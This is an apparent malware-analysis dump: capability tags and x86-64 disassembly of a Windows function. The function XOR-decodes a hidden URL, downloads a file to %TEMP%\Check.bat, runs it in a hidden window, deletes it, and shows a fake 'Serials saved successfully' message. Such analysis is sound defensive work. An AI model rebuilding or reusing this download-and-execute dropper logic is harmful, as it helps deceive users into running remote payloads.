Function at 0x140041d30
Capabilities:
Create process on windows
Delete file
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
movaps xmmword [rsp + 0x240], xmm6
lea rdx, [rbp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1400420bf
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140041d85
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14003ea00
nop
mov r8d, 9
lea rdx, str.Check.bat
lea rcx, [rsp + 0x50]
call fcn.1400473b0
lea r8, [rsp + 0x50]
movups xmm0, xmmword [str.PMNKO_a]
movups xmm1, xmmword [0x1400f5648]
movzx eax, byte [0x1400f5658]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov byte [rbp - 0x70], al
cmp qword [rsp + 0x68], 0xf
jbe 0x140041de8
mov r8, qword [rsp + 0x50]
xor ebx, ebx
mov ecx, ebx
cmp dword [0x1401080a0], 2
jl 0x140041f1c
movdqa xmm4, xmmword [0x1400f5940]
movdqa xmm3, xmmword [0x1400f5d40]
movdqa xmm5, xmmword [str.9999]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp - 0x50], xmm0
lea rdx, [rsp + 0x74]
movdqa xmm6, xmmword [0x1400f5970]
mov r9d, dword [rbp - 0x50]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140041e30
cmp ecx, 0x21
jge 0x140041f5e
movsxd rax, ecx
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x21
jl 0x140041f30
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x40], 0x68
mov dword [rbp - 4], 1
mov word [rbp], bx
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14004200f
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_al_ejecutar_el_archivo.
jmp 0x140042074
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140042063
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_al_eliminar_el_archivo.
jmp 0x140042074
xor r9d, r9d
lea r8, str.Success
lea rdx, str.Serials_saved_successfully.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400420db
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400420b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400420b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c6ea8
jmp 0x1400420db
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error_al_obtener_la_ruta_de_la_carpeta_temporal.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rbx, qword [rsp + 0x260]
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x250
pop rbp
ret